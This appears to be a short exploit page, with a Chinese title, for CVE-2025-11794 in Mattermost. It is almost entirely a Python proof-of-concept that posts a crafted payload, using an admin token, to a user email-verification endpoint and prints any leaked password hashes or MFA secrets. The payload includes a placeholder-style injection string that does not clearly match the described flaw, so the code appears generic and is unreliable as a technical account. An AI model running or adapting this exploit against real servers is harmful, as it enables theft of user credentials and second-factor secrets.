CVE-2025-11794 Mattermost 敏感信息泄露漏洞

# CVE-2025-11794 Mattermost Information Disclosure PoC # Target: Mattermost instances < 10.11.3, < 10.5.11, < 10.12.0 # Endpoint: POST /api/v4/users/{user_id}/email/verify/member import requests import json TARGET_URL = "https://your-mattermost-instance.com" TARGET_USER_ID = "target-user-uuid-here" ADMIN_TOKEN = "your-admin-auth-token" def exploit_cve_2025_11794(): """ Exploit for CVE-2025-11794: Mattermost sensitive information disclosure Requires admin privileges to access the vulnerable endpoint """ headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Vulnerable endpoint endpoint = f"/api/v4/users/{TARGET_USER_ID}/email/verify/member" url = f"{TARGET_URL}{endpoint}" # Malicious payload to trigger information disclosure payload = { "email": "[email protected]", "currentSessionId": "'; injected_query" } try: response = requests.post(url, headers=headers, json=payload, verify=False) if response.status_code == 200: data = response.json() print("[+] Successfully exploited CVE-2025-11794") # Extract sensitive information from response if "password_hash" in str(data) or "mfa_secret" in str(data): print("[!] Sensitive data leaked:") print(json.dumps(data, indent=2)) return data else: print(f"[-] Exploit failed. Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": print("CVE-2025-11794 Mattermost Information Disclosure PoC") exploit_cve_2025_11794()